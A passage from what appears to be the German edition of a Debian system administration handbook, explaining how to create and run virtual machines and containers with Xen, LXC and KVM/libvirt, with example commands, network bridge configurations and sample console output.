Falls das Xen-Abbild nicht dazu gedacht ist, Debian auszuführen, sondern ein anderes System, ist --rpmstrap eine weitere möglicherweise interessante Option, um den Befehl rpmstrap aufzurufen und so die Einrichtung eines neuen RPM-basierten Systems (wie zum Beispiel Fedora, CentOS oder Mandriva) einzuleiten. Weitere Maßnahmen sind --copy, um ein Abbild aus einem bestehenden System zu kopieren, und --tar, um das System-Abbild aus einer Archivdatei zu entpacken.

Im Falle eines Nicht-Linux-Systems sollte man darauf achten, den Kernel, den die domU verwenden soll, mit der Option --kernel zu bestimmen.

--dhcp legt fest, dass die Netzwerkkonfiguration der domU durch DHCP besorgt wird, während --ip die Benennung einer statischen IP-Adresse ermöglicht.

Schließlich muss noch eine Speichermethode für die zu erstellenden Abbilder (diejenigen, die von der domU aus als Festplatten gesehen werden) gewählt werden. Die einfachste Methode besteht darin, mit der Option --dir auf der dom0 eine Datei für jedes Gerät zu erstellen, das der domU zur Verfügung stehen soll. Für Systeme, die LVM verwenden, besteht die Alternative darin, die Option --lvm zu nutzen, gefolgt von dem Namen einer Volume-Gruppe; xen-create-image erstellt dann ein neues logisches Volume innerhalb dieser Gruppe, und dieses logische Volume wird der domU als Festplatte zur Verfügung gestellt.

HINWEIS Speicherung in der domU

Ganze Festplatten können ebenso in die domU exportiert werden wie auch Partitionen, RAID-Anordnungen oder bereits in LVM bestehende logische Volumes. Diese Vorgänge werden jedoch nicht durch xen-create-image automatisiert. Es ist daher sinnvoll, die Konfigurationsdatei des Xen-Abbildes zu editieren, nachdem sie mit dem Befehl xen-create-image erstmals erstellt worden ist.

Nachdem diese Entscheidungen getroffen sind, können wir das Abbild der zukünftigen Xen-domU erstellen:

# xen-create-image --hostname=testxen General Information -------------------- Hostname : testxen Distribution : squeeze Mirror : http://ftp.us.debian.org/debian/ Partitions : swap 128Mb (swap) / 4Gb (ext3) Image type : sparse Memory size : 128Mb Kernel path : /boot/vmlinuz-2.6.32-5-xen-686 Initrd path : /boot/initrd.img-2.6.32-5-xen-686 [...] Logfile produced at: /var/log/xen-tools/testxen.log Installation Summary --------------------- Hostname : testxen Distribution : squeeze IP-Address(es) : dynamic RSA Fingerprint : 25:6b:6b:c7:84:03:9e:8b:82:da:84:c0:08:cd:29:94 Root Password : 52emxRmM

Wir haben jetzt einen virtuellen Rechner, er läuft zur Zeit jedoch nicht (und belegt daher lediglich Platz auf der Festplatte der dom0). Wir können selbstverständlich weitere Abbilder erstellen, möglicherweise mit anderen Parametern.

Bevor wir diese virtuellen Rechner starten, müssen wir festlegen, wie wir auf sie zugreifen werden. Sie können natürlich als eigenständige Rechner angesehen werden, auf die nur über ihre jeweilige Systemkonsole zugegriffen wird, dies entspricht jedoch nur selten dem Nutzungsmuster. Meistens wird eine domU als entfernter Server angesehen, auf den nur über ein Netzwerk zugegriffen wird. Es wäre jedoch ziemlich umständlich, für jede domU eine Netzwerkkarte hinzuzufügen. Deshalb ist es möglich, mit Xen virtuelle Schnittstellen zu erstellen, die von jeder Domain gesehen und auf übliche Weise benutzt werden können. Man beachte, dass diese Karten, obwohl sie virtuell sind, nur von Nutzen sind, wenn sie mit einem Netzwerk verbunden sind, selbst wenn dieses virtuell ist. Xen bietet zu diesem Zweck mehrere Netzwerkmodelle:

Das einfachste Modell ist das bridge-Modell; alle eth0-Netzwerkkarten (sowohl in der dom0 als auch in den domU-Systemen) verhalten sich so, als wären sie direkt an einen Ethernet-Switch angeschlossen.

Dann kommt das routing-Modell, bei dem dom0 als Router agiert, der zwischen den domU-Systemen und dem (physischen) externen Netzwerk steht.

Schließlich befindet sich im NAT-Modell die dom0 ebenfalls zwischen den domU-Systemen und dem übrigen Netzwerk, jedoch sind die domU-Systeme von außen nicht direkt zugänglich, sondern der Datenverkehr wird auf der dom0 einer „Network Address Translation“ unterworfen.

Zu diesen drei Netzknoten gehören eine Reihe von Schnittstellen mit ungewöhnlichen Bezeichnungen, wie zum Beispiel vif*, veth*, peth* und xenbr0. Der Xen-Hypervisor ordnet sie gemäß dem an, was auch immer als Layout festgelegt worden ist, unter der Kontrolle der Hilfsprogramme auf der Anwenderebene. Da die NAT- und Routing-Modelle besonderen Fällen vorbehalten sind, beschäftigen wir uns hier nur mit dem Bridging-Modell.

Die Standardkonfiguration der Xen-Pakete verändert die systemweite Netzwerk-Konfiguration nicht. Jedoch ist der xend-Daemon so konfiguriert, dass er virtuelle Netzwerkschnittstellen in eine bereits bestehende Netzwerkbrücke integriert (wobei xenbr0 Vorrang erhält, falls es mehrere solcher Brücken gibt). Wir müssen daher eine Brücke in /etc/network/interfaces einrichten (wozu das Paket bridge-utils installiert werden muss, weshalb es vom Paket xen-utils-4.0 empfohlen wird), um den bestehenden eth0-Eintrag zu ersetzen:

auto xenbr0 iface xenbr0 inet dhcp bridge_ports eth0 bridge_maxwait 0

Nach einem Neustart, um sicherzustellen, dass die Brücke automatisch erstellt wird, können wir jetzt die domU mit den Xen-Steuerprogrammen starten, insbesondere mit dem Befehl xm. Mit diesem Befehl ist es möglich, Verschiedenes mit den Domains zu machen, unter anderem sie aufzulisten und sie zu starten oder zu beenden.

# xm list Name ID Mem VCPUs State Time(s) Domain-0 0 940 1 r----- 3896.9 # xm create testxen.cfg Using config file "/etc/xen/testxen.cfg". Started domain testxen (id=1) # xm list Name ID Mem VCPUs State Time(s) Domain-0 0 873 1 r----- 3917.1 testxen 1 128 1 -b---- 3.7

VORSICHT Nur eine domU je Abbild!

Während mehrere domU-Systeme natürlich gleichzeitig laufen können, muss jedes von ihnen sein eigenes Abbild verwenden, da jede domU den Eindruck erhält, dass sie auf ihrer eigenen Hardware läuft (abgesehen von dem kleinen Kernelanteil, der mit dem Hypervisor kommuniziert). Vor allem ist es nicht möglich, dass zwei domU-Systeme zur selben Zeit Speicherplatz gemeinsam benutzen. Falls die domU-Systeme nicht zur selben Zeit laufen, können sie jedoch eine einzige Auslagerungspartition oder die Partition, die das Dateisystem /home enthält, wiederverwenden.

Man beachte, dass die domU testxen wirklichen Speicher des RAM verwendet, der ansonsten für die dom0 verfügbar wäre, und keinen simulierten Speicher. Man sollte daher darauf achten, das physische RAM entsprechend zuzuteilen, wenn man einen Server einrichtet, auf dem Xen-Instanzen laufen sollen.

Voilà! Unser virtueller Rechner startet. Wir können auf ihn auf zweifache Art zugreifen. Der normale Weg besteht darin, sich mit ihm „aus der Ferne“ über das Netzwerk zu verbinden, wie wir es auch bei einem wirklichen Rechner tun würden; hierzu ist es normalerweise erforderlich, entweder einen DHCP-Server oder eine DNS-Konfiguration einzurichten. Der andere Weg, der der einzige sein könnte, falsch die Netzwerk-Konfiguration nicht korrekt war, besteht darin, über den Befehl xm console die Konsole hvc0 zu benutzen:

# xm console testxen [...] Starting enhanced syslogd: rsyslogd. Starting periodic command scheduler: cron. Starting OpenBSD Secure Shell server: sshd. Debian GNU/Linux 6.0 testxen hvc0 testxen login:

Man kann dann eine Sitzung öffnen, als säße man an der Tastatur des virtuellen Rechners. Zur Trennung von dieser Konsole dient die Tastenkombination Strg+].

TIPP Direkt zur Konsole gelangen

Manchmal möchte man ein domU-System starten und direkt zu seiner Konsole gelangen; deshalb kann dem Befehl xm create der Schalter -c übergeben werden. Wenn man eine domU mit diesem Schalter startet, werden während des Hochfahrens des Systems alle Meldungen angezeigt.

HILFSPROGRAMM ConVirt

ConVirt (im Paket convirt, früher XenMan) ist eine grafische Schnittstelle, mit der man die auf einem Rechner installierten Xen-Domains steuern kann. Sie stellt die meisten Funktionen des Befehls xm bereit.

Sobald eine domU läuft, kann sie so wie jeder andere Server verwendet werden (da sie schließlich ein GNU/Linux-System ist). Ihr Status als virtueller Rechner ermöglicht jedoch einige zusätzliche Funktionen. So kann eine domU zum Beispiel mit den Befehlen xm pause und xm unpause vorübergehend angehalten und dann wieder fortgesetzt werden. Man beachte, dass bei einer angehaltenen domU, obwohl sie keine Prozessorleistung in Anspruch nimmt, der ihr zugeordnete Speicherplatz weiterhin belegt ist. Es könnte interessant sein, hier die Befehle xm save und xm restore in Erwägung zu ziehen: das Speichern einer domU gibt die Ressourcen frei, die vorher von dieser domU verwendet wurden, einschließlich des RAM. Wenn sie fortgesetzt wird (oder eigentlich ihr Pausieren beendet wird), bemerkt eine domU außer dem Fortschreiten der Zeit nichts. Falls eine domU läuft, wenn die dom0 heruntergefahren wird, speichern die gebündelten Skripten automatisch die domU, und stellen sie beim nächsten Hochfahren wieder her. Dies schließt natürlich die gleichen Unannehmlichkeiten ein, die entstehen, wenn man zum Beispiel einen Laptop in den Ruhezustand versetzt; insbesondere, dass Netzwerkverbindungen verfallen, falls die domU zu lange ausgesetzt ist. Man beachte auch, dass Xen insofern mit einem Großteil der ACPI-Energieverwaltung inkompatibel ist, als es nicht möglich ist, das Host-System (die dom0) in den Bereitschaftsbetrieb zu versetzen.

DOKUMENTATION xm-Optionen

Die meisten der xm-Unterbefehle erwarten ein oder mehrere Argumente, häufig einen domU-Namen. Diese Argumente sind auf der Handbuchseite xm(1) gut beschrieben.

Das Anhalten oder Neustarten einer domU kann entweder aus dieser domU heraus geschehen (mit dem Befehl shutdown) oder von der dom0 aus mit xm shutdown oder xm reboot.

WEITERE SCHRITTE Weitergehendes Xen

Xen verfügt über wesentlich mehr Funktionen als wir in diesen wenigen Absätzen beschreiben können. Vor allem ist das System sehr dynamisch, und viele Parameter einer Domain (wie zum Beispiel der Umfang des zugewiesenen Speichers, die sichtbaren Festplatten, das Verhalten der Aufgabensteuerung und so weiter) können eingestellt werden, selbst wenn die Domain läuft. Eine domU kann sogar auf einen anderen Server verschoben werden, ohne abgeschaltet zu werden und ohne ihre Netzwerkverbindungen zu verlieren! Die Hauptinformationsquelle für alle diese weitergehenden Aspekte ist die offizielle Xen-Dokumentation.

→ http://www.xen.org/support/documentation.html

12.2.2. LXC

Obwohl es dazu benutzt wird, „virtuelle Rechner“ zu erstellen, ist LXC genaugenommen kein Virtualisierungssystem, sondern ein System, um Gruppen von Prozessen voneinander zu isolieren, obwohl sie alle auf demselben Host laufen. Es macht sich eine Reihe neuerer Entwicklungen im Linux-Kernel zunutze, die gemeinhin als Kontrollgruppen bekannt sind, mit denen verschiedene Sätze von Prozessen, die „Gruppen“ genannt werden, bestimmte Aspekte des Gesamtsystems auf unterschiedliche Weise sehen. Dies gilt vor allem für Aspekte wie die Prozesskennungen, die Netzwerkonfiguration und die Einhängepunkte. Eine derartige Gruppe isolierter Prozesse hat keinerlei Zugriff auf die anderen Prozesse des Systems, und ihre Zugriffe auf das Dateisystem können auf einen bestimmten Teilbereich eingegrenzt werden. Sie kann auch ihre eigene Netzwerkschnittstelle und Routing-Tabelle haben, und möglicherweise ist sie so konfiguriert, dass sie nur einen Teil der auf dem System verfügbaren Geräte sieht.

Diese Funktionen können kombiniert werden, um eine ganze Prozessfamilie, vom init-Prozess angefangen, zu isolieren, und die sich daraus ergebende Gruppe sieht einem virtuellen Rechner sehr ähnlich. Die offizielle Bezeichnung für eine derartige Anordnung ist ein „Container“ (daher der Name LXC: LinuX Containers), jedoch besteht ein wichtiger Unterschied zu einem „wirklichen“ virtuellen Rechner, wie einem der durch Xen oder KVM bereitgestellt wird, darin, dass es keinen zweiten Kernel gibt; der Container verwendet denselben Kernel wie das Host-System. Dies hat Vor- und Nachteile: zu den Vorteilen gehören die völlige Abwesenheit von Overhead- und damit Leistungsbelastungen, und die Tatsache, dass der Kernel einen vollständigen Überblick über alle Prozesse hat, die auf dem System laufen, wodurch die Steuerung effizienter sein kann, als wenn zwei unabhängige Kernel verschiedene Aufgabensätze steuern würden. Zu den Nachteilen gehört vor allem, dass man in einem Container keinen anderen Kernel laufen lassen kann (sei dies eine andere Linux-Version oder ein völlig anderes Betriebssystem).

HINWEIS Grenzen der LXC-Isolierung

LXC-Container bieten nicht den Grad an Isolierung, der mit schwergewichtigeren Emulatoren oder Virtualisierern erreicht wird. Insbesondere:

ermöglicht es der Standard-Kernel bei Squeeze nicht, den Umfang des Speichers, der einem Container zur Verfügung steht, zu begrenzen; es gibt diese Funktion, und sie kann aktiviert werden, indem man den Kernel mit der Option Memory Resource Controller neu kompiliert, aber sie gilt noch als ziemlich experimentell und führt zu einer (leichten) Belastung der allgemeinen Systemleistung, weshalb sie standardmäßig deaktiviert ist;

können, da der Kernel vom Host-System und den Containern gemeinsam genutzt wird, in Containern gebundene Prozesse weiterhin auf Kernel-Meldungen zugreifen, wodurch Informationslecks entstehen können, falls Meldungen von einem Container abgegeben werden;

können aus ähnlichen Gründen, falls ein Container beeinträchtigt und eine Kernel-Schwachstelle ausgenutzt wird, die übrigen Container ebenfalls betroffen sein;

überprüft der Kernel Berechtigungen im Dateisystem anhand der numerischen Kennungen für Benutzer und Gruppen; diese Kennungen können je nach Container unterschiedliche Benutzer und Gruppen bezeichnen, woran man denken sollte, falls beschreibbare Teile des Dateisystems von mehreren Containern gemeinsam benutzt werden.

Da wir es hier mit einer Isolierung und nicht mit einer einfachen Virtualisierung zu tun haben, ist es schwieriger, einen LXC-Container einzurichten, als nur ein Debian-Installationsprogramm auf einem virtuellen Rechner auszuführen. Wir werden einige Voraussetzungen beschreiben und dann zur Netzwerkkonfigurierung übergehen; damit werden wir in der Lage sein, das System, das in dem Container laufen soll, zu erstellen.

12.2.2.1. Vorbereitende Schritte

Das Paket lxc enthält die für die Ausführung von LXC erforderlichen Hilfsprogramme und muss daher installiert werden.

LXC benötigt außerdem das Konfigurationssystem für die Kontrollgruppen, das ein unter /sys/fs/cgroup einzuhängendes virtuelles Dateisystem ist. Die Datei /etc/fstab sollte daher unter anderem folgenden Eintrag enthalten:

# /etc/fstab: static file system information. [...] cgroup /sys/fs/cgroup cgroup defaults 0 0

/sys/fs/cgroup wird dann beim Hochfahren automatisch eingehängt; falls kein unmittelbarer Neustart vorgesehen ist, sollte das Dateisystem mit dem Befehl mount /sys/fs/cgroup eingehängt werden.

12.2.2.2. Netzwerkkonfigurierung

LXC wird mit dem Ziel installiert, virtuelle Rechner einzurichten; während wir diese natürlich vom Netzwerk getrennt halten und mit ihnen nur über das Dateisystem kommunizieren könnten, ist es in den meisten Anwendungsfällen erforderlich, den Containern wenigstens einen minimalen Netzwerkzugang zu gewähren. Typischerweise erhält jeder Container eine virtuelle Netzwerkschnittstelle, die mit dem wirklichen Netzwerk über eine Bridge verbunden ist. Diese virtuelle Schnittstelle kann entweder direkt an die physische Schnittstelle des Hosts angeschlossen sein (wobei sich der Container dann direkt im Netzwerk befindet) oder an eine weitere virtuelle Schnittstelle, die auf dem Host festgelegt ist (und bei der der Host dann den Datenverkehr filtern oder umleiten kann). In beiden Fällen ist das Paket bridge-utils erforderlich.

Der einfachste Fall besteht darin, die Datei /etc/network/interfaces zu editieren, indem die Konfiguration für die physische Schnittstelle (zum Beispiel eth0) zu einer Bridge-Schnittstelle verschoben (normalerweise br0) und die Verbindung zwischen ihnen konfiguriert wird. Wenn zum Beispiel die Konfigurationsdatei der Netzwerkschnittstellen Einträge wie die folgenden enthält:

auto eth0 iface eth0 inet dhcp

sollten sie deaktiviert und durch folgende ersetzt werden:

#auto eth0 #iface eth0 inet dhcp auto br0 iface br0 inet dhcp bridge-ports eth0

Die Auswirkung dieser Konfiguration ähnelt derjenigen, die einträte, falls die Container Rechner wären, die an dasselbe physische Netzwerk angeschlossen sind wie der Host. Die „Bridge“-Konfiguration verwaltet den Übergang der Ethernet-Frames zwischen allen verbundenen Schnittstellen, zu denen sowohl die physische Schnittstelle eth0 als auch die für die Container festgelegten Schnittstellen gehören.

In Fällen, in denen diese Konfiguration nicht verwendet werden kann (falls zum Beispiel den Containern keine öffentlichen IP-Adressen zugeordnet werden können), wird eine virtuelle tap-Schnittstelle eingerichtet und mit der Bridge verbunden. Die dementsprechende Netzstruktur wird dann zu einer, bei der der Host mit einer zweiten Netzwerkkarte an einen eigenen Switch angeschlossen ist, wobei die Container ebenfalls an diesen Switch angeschlossen sind. Der Host muss in diesem Fall als Gateway für die Container agieren, falls diese mit der Außenwelt kommunizieren sollen.

Zusätzlich zu bridge-utils ist für diese „üppige“ Konfiguration das Paket vde2 erforderlich; die Datei /etc/network/interfaces wird dann zu:

# Schnittstelle eth0 bleibt unverändert auto eth0 iface eth0 inet dhcp # Virtuelle Schnittstelle auto tap0 iface tap0 inet manual vde2-switch -t tap0 # Bridge für Container auto br0 iface br0 inet static bridge-ports tap0 address 10.0.0.1 netmask 255.255.255.0

Das Netzwerk kann dann entweder statisch in den Containern eingerichtet werden oder dynamisch mit einem DHCP-Server, der auf dem Host läuft. Solch ein DHCP-Server muss so konfiguriert sein, dass er Anfragen auf der Schnittstelle br0 beantwortet.

12.2.2.3. Das System einrichten

Lassen Sie uns jetzt das von dem Container zu verwendende Dateisystem einrichten. Da dieser „virtuelle Rechner“ nicht direkt auf der Hardware laufen wird, sind im Vergleich zu einem Standard-Dateisystem einige Feineinstellungen vorzunehmen, insbesondere was den Kernel, die Geräte und Konsolen betrifft. Glücklicherweise enthält das Paket lxc Skripten, die diese Konfigurierung weitestgehend automatisieren. So installieren zum Beispiel die folgenden Befehle (die das Paket debootstrap erfordern) einen Debian-Container:

root@scouzmir:~# mkdir /var/lib/lxc/testlxc/ root@scouzmir:~# /usr/lib/lxc/templates/lxc-debian -p /var/lib/lxc/testlxc/ debootstrap is /usr/sbin/debootstrap Checking cache download in /var/cache/lxc/debian/rootfs-i386 ... Downloading debian minimal ... I: Retrieving Release I: Retrieving Packages [...] Removing any system startup links for /etc/init.d/hwclockfirst.sh ... /etc/rcS.d/S08hwclockfirst.sh Root password is 'root', please change ! root@scouzmir:~#

Man beachte, dass das Dateisystem zunächst in /var/cache/lxc erstellt und dann in sein Zielverzeichnis verschoben wird. So lassen sich mehrere identische Container wesentlich schneller erstellen, da sie nur kopiert werden müssen.

Man beachte auch, dass der Befehl lxc-debian, der mit Squeeze ausgeliefert wird, leider ein Lenny-System erstellt und nicht ein Squeeze-System, wie man erwarten würde. Dieses Problem kann umgangen werden, indem man einfach eine neuere Version des Pakets (0.7.3-1 oder höher) installiert.

Das neu erstellte Dateisystem enthält nun ein minimales Debian-System, angepasst an die zuvor erwähnte „einfache“ Netzwerkkonfiguration. Für die „üppige“ Konfiguration benötigt die Datei /var/lib/lxc/testlxc/rootfs/etc/network/interfaces einige Anpassungen; wichtiger ist jedoch, dass die Netzwerkschnittstelle, die der Container sieht, nicht die physische Schnittstelle des Hosts sein darf. Dies kann konfiguriert werden, indem einige lxc.network.*-Einträge zur Konfigurationsdatei des Containers, /var/lib/lxc/testlxc/config, hinzugefügt werden:

lxc.network.type = veth lxc.network.flags = up lxc.network.link = br0 lxc.network.hwaddr = 4a:49:43:49:79:20

Diese Einträge bedeuten jeweils, dass eine virtuelle Schnittstelle in dem Container erzeugt wird; dass sie automatisch in Gang gesetzt wird, wenn der besagte Container startet; dass sie automatisch mit der br0-Bridge auf dem Host verbunden wird; und dass ihre MAC-Adresse wie angegeben lautet. Falls diese letzte Angabe fehlt oder deaktiviert ist, wird eine zufällige MAC-Adresse erzeugt.

12.2.2.4. Den Container starten

Nun, da das Abbild unseres virtuellen Rechners fertig ist, wollen wir den Container starten:

root@scouzmir:~# lxc-start --name=testlxc INIT: version 2.86 booting Activating swap...done. Cleaning up ifupdown.... Checking file systems...fsck 1.41.3 (12-Oct-2008) done. Setting kernel variables (/etc/sysctl.conf)...done. Mounting local filesystems...done. Activating swapfile swap...done. Setting up networking.... Configuring network interfaces...Internet Systems Consortium DHCP Client V3.1.1 Copyright 2004-2008 Internet Systems Consortium. All rights reserved. For info, please visit http://www.isc.org/sw/dhcp/ Listening on LPF/eth0/52:54:00:99:01:01 Sending on LPF/eth0/52:54:00:99:01:01 Sending on Socket/fallback DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 4 DHCPOFFER from 192.168.1.2 DHCPREQUEST on eth0 to 255.255.255.255 port 67 DHCPACK from 192.168.1.2 bound to 192.168.1.243 -- renewal in 1392 seconds. done. INIT: Entering runlevel: 3 Starting OpenBSD Secure Shell server: sshd. Debian GNU/Linux 5.0 scouzmir console scouzmir login: root Password: Linux scouzmir 2.6.32-5-686 #1 SMP Tue Mar 8 21:36:00 UTC 2011 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. scouzmir:~# ps auxwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 1984 680 ? Ss 08:44 0:00 init [3] root 197 0.0 0.1 2064 364 ? Ss 08:44 0:00 dhclient3 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp3/dhclien root 286 0.1 0.4 2496 1256 console Ss 08:44 0:00 /bin/login -- root 291 0.7 0.5 2768 1504 console S 08:46 0:00 \_ -bash root 296 0.0 0.3 2300 876 console R+ 08:46 0:00 \_ ps auxwf root 287 0.0 0.2 1652 560 tty1 Ss+ 08:44 0:00 /sbin/getty 38400 tty1 linux root 288 0.0 0.2 1652 560 tty2 Ss+ 08:44 0:00 /sbin/getty 38400 tty2 linux root 289 0.0 0.2 1652 556 tty3 Ss+ 08:44 0:00 /sbin/getty 38400 tty3 linux root 290 0.0 0.2 1652 560 tty4 Ss+ 08:44 0:00 /sbin/getty 38400 tty4 linux scouzmir:~#

Wir befinden uns nun in dem Container; unser Zugriff auf die Prozesse ist auf die beschränkt, die vom Container selbst gestartet wurden, und unser Zugriff auf das Dateisystem ist in ähnlicher Weise auf die zugehörige Teilmenge des gesamten Dateisystems (/var/lib/lxc/testlxc/rootfs) beschränkt, in der das Passwort für Root anfänglich auf root eingestellt ist.

Falls wir den Container als Hintergrundprozess laufen lassen möchten, würden wir den Befehl lxc-start mit der Option --daemon aufrufen. Wir können den Container dann mit einem Befehl wie lxc-kill --name=testlxc schließen.

Das Paket lxc enthält ein Initialisierungsskript, das beim Hochfahren des Hosts automatisch einen oder mehrere Container starten kann; seine Konfigurationsdatei /etc/default/lxc ist recht einfach. Man beachte, dass die Konfigurationsdateien der Container in /etc/lxc/ gespeichert werden müssen; viele Benutzer bevorzugen möglicherweise symbolische Verknüpfungen, wie sie mit dem Befehl ln -s /var/lib/lxc/testlxc/config /etc/lxc/testlxc.config erstellt werden können.

WEITERE SCHRITTE Massenvirtualisierung

Da LXC ein sehr leichtgewichtiges Isolierungssystem ist, kann es insbesondere für die Bereitstellung zahlreicher virtueller Server eingerichtet werden. Die Netzwerkkonfiguration wird hierbei im Vergleich zu der, die wir oben beschrieben haben, möglicherweise etwas erweitert sein, die „üppige“ Konfiguration unter Verwendung von tap- und veth-Schnittstellen sollte in den meisten Fällen hierfür jedoch ausreichend sein.

Es könnte auch sinnvoll sein, einen Teil des Dateisystems, wie zum Beispiel die Unterverzeichnisse /usr und /lib, gemeinsam zu nutzen, um so die Duplizierung von Software zu vermeiden, die bei mehreren Containern benötigt wird. Dies wird normalerweise durch lxc.mount.entry-Einträge in der Konfigurationsdatei des Containers erreicht. Ein interessanter Nebeneffekt besteht darin, dass die Prozesse in diesem Fall weniger physischen Speicher benötigen, da der Kernel erkennen kann, dass die Programme gemeinsam benutzt werden. Die zusätzliche Belastung durch einen weiteren Container kann so auf den für seine spezifischen Daten erforderlichen Plattenplatz und einige zusätzliche Prozesse, die der Kernel einplanen und verwalten muss, reduziert werden.

Wir haben selbstverständlich nicht alle verfügbaren Optionen beschrieben; ausführlichere Informationen sind auf den Handbuchseiten lxc(7) und lxc.conf(5) sowie auf weiteren Seiten, auf die sie verweisen, enthalten.

12.2.3. Virtualisierung mit KVM

KVM, das Kernel-based Virtual Machine bedeutet, ist in erster Linie ein Kernel-Modul, das den größten Teil der Infrastruktur bereitstellt, die von einem Virtualisierungsprogramm benutzt werden kann, ist jedoch selbst kein Virtualisierungsprogramm. Die eigentliche Steuerung der Virtualisierung wird von einer Anwendung auf der Grundlage von QEMU vorgenommen. Machen Sie sich nichts daraus, dass dieser Abschnitt qemu-*-Befehle nennt: er betrifft trotzdem KVM.

Im Gegensatz zu anderen Virtualisierungssystemen war KVM von Anfang an Teil des Linux-Kernels. Seine Entwickler entschieden sich, die für eine Virtualisierung vorgesehenen Prozessor-Befehlssätze (Intel-VT und AMD-V) zu nutzen, wodurch KVM leichtgewichtig, elegant und ressourcenschonend bleibt. Die Kehrseite ist natürlich, dass KVM hauptsächlich auf i386- und amd64-Prozessoren läuft und zwar nur auf denen, die so neu sind, dass sie über diese Befehlssätze verfügen. Sie können sicher sein, dass Sie einen derartigen Prozessor haben, wenn unter den CPU-Flags in der Datei /proc/cpuinfo „vmx“ oder „svm“ aufgeführt ist.

Mit aktiver Unterstützung seiner Entwicklung durch Red Hat scheint KVM im Begriff zu sein, zur Referenz für Linux-Virtualisierung zu werden.

12.2.3.1. Vorbereitende Schritte

Im Gegensatz zu Programmen wie VirtualBox enthält KVM selbst keine Benutzerschnittstelle zur Erstellung und Verwaltung virtueller Rechner. Das Paket qemu-kvm stellt nur eine ausführbare Datei zum Start eines virtuellen Rechners bereit sowie ein Initialisierungsskript, das die passenden Kernel-Module lädt.

Glücklicherweise stellt Red Hat mit der Entwicklung der Bibliothek libvirt und der dazugehörigen Werkzeuge des virtual machine manager einen weiteren Satz von Hilfsprogrammen zur Lösung dieses Problems bereit. Mit libvirt ist es möglich, virtuelle Rechner einheitlich zu verwalten unabhängig von dem Virtualisierungssystem, das hinter den Kulissen beteiligt ist (gegenwärtig unterstützt es QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare und UML). virtual-manager ist eine grafische Schnittstelle, die libvirt zur Erstellung und Verwaltung virtueller Rechner benutzt.

Zunächst installieren wir mit apt-get install qemu-kvm libvirt-bin virtinst virt-manager virt-viewer die erforderlichen Pakete. libvirt-bin stellt den Daemon libvirtd zur Verfügung, mit dem (unter Umständen aus der Ferne) die Verwaltung der virtuellen Rechner, die auf dem Host laufen, möglich ist, und der die erforderlichen virtuellen Rechner startet, wenn der Host hochfährt. Zusätzlich enthält dieses Paket das Befehlszeilenwerkzeug virsh, das die Steuerung der Rechner ermöglicht, die von libvirtd verwaltet werden.

Das Paket virtinst stellt den Befehl virt-install bereit, mit dem es möglich ist, virtuelle Rechner von der Befehlszeile aus zu erstellen. Und schließlich ermöglicht virt-viewer den Zugriff auf die grafische Konsole eines virtuellen Rechners.

12.2.3.2. Netzwerkkonfigurierung

Genauso wie in Xen und LXC gehört zu der häufigsten Netzwerkkonfiguration eine Bridge, mit der die Netzwerkschnittstellen der virtuellen Rechner zusammengefasst werden (siehe Section 12.2.2.2, “Netzwerkkonfigurierung”).

Stattdessen kann (und das ist die Voreinstellung bei KVM) dem virtuellen Rechner eine private Adresse (im Bereich von 192.168.122.0/24) zugeordnet und NAT eingerichtet werden, so dass der virtuelle Rechner auf das externe Netzwerk zugreifen kann.

Für den Rest dieses Abschnitts wird angenommen, dass der Host über eine eth0 als physische Schnittstelle und eine br0-Bridge verfügt, und das Erstere mit Letzterer verbunden ist.

12.2.3.3. Installation mit virt-install

Die Erstellung eines virtuellen Rechners ist der Installation eines normalen Systems sehr ähnlich, außer dass die Eigenschaften des virtuellen Rechners in einer scheinbar endlosen Befehlszeile beschrieben werden.

In der Praxis bedeutet dies, dass wir das Debian-Installationsprogramm verwenden, indem wir den virtuellen Rechner auf einem virtuellen DVD-ROM-Laufwerk hochfahren, dem ein auf dem Host-System gespeichertes DVD-Abbild von Debian zugeordnet ist. Der virtuelle Rechner exportiert seine grafische Konsole über das VNC-Protokoll (für Einzelheiten siehe Section 9.2.3, “Entfernte grafische Arbeitsflächen benutzen”), so dass wir den Installationsprozess steuern können.

Zunächst müssen wir libvirtd mitteilen, wo die Plattenabbilder gespeichert werden sollen, es sei denn, dass der voreingestellte Ort (/var/lib/libvirt/images/) in Ordnung ist.

# virsh pool-create-as srv-kvm dir --target /srv/kvm

Wir wollen jetzt mit dem Installationsprozess für den virtuellen Rechner beginnen und uns die wichtigsten Optionen des Befehls virt-install ansehen. Der Befehl registriert den virtuellen Rechner und seine Parameter in libvirtd und startet ihn dann, so dass seine Installierung fortgesetzt werden kann.

# virt-install --connect qemu:///system --virt-type kvm --name testkvm --ram 1024 --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 --cdrom /srv/isos/debian-6.0.0-amd64-DVD-1.iso --network bridge=br0 --vnc --os-type linux --os-variant debiansqueeze Starting install... Allocating 'testkvm.qcow' | 10 GB 00:00 Creating domain... | 0 B 00:00 Cannot open display: Run 'virt-viewer --help' to see a full list of available command line options. Domain installation still in progress. You can reconnect to the console to complete the installation process.

Die Option --connect legt den zu verwendenden „Hypervisor“ fest. Sie hat die Form einer URL, die ein Virtualisierungssystem enthält (xen://, qemu://, lxc://, openvz://, vbox:// und so weiter) und den Rechner, der den virtuellen Rechner aufnehmen soll (dies kann leer bleiben, falls es sich dabei um den lokalen Host handelt). Zusätzlich hierzu, und im Fall vom QEMU/KVM, kann jeder Benutzer virtuelle Rechner, die mit eingeschränkten Berechtigungen laufen, verwalten, wobei der URL-Pfad es ermöglicht, „System“-Rechner (/system) von anderen (/session) zu unterscheiden.

Da KVM auf die gleiche Weise wie QEMU verwaltet wird, kann mit --virt-type kvm die Verwendung von KVM festgelegt werden, obwohl die URL aussieht, als würde QEMU verwendet.

Die Option --name legt einen (eindeutigen) Namen für den virtuellen Rechner fest.

Die Option --ram ermöglicht es, die Größe des RAM (in MB) festzulegen, das dem virtuellen Rechner zugeordnet wird.

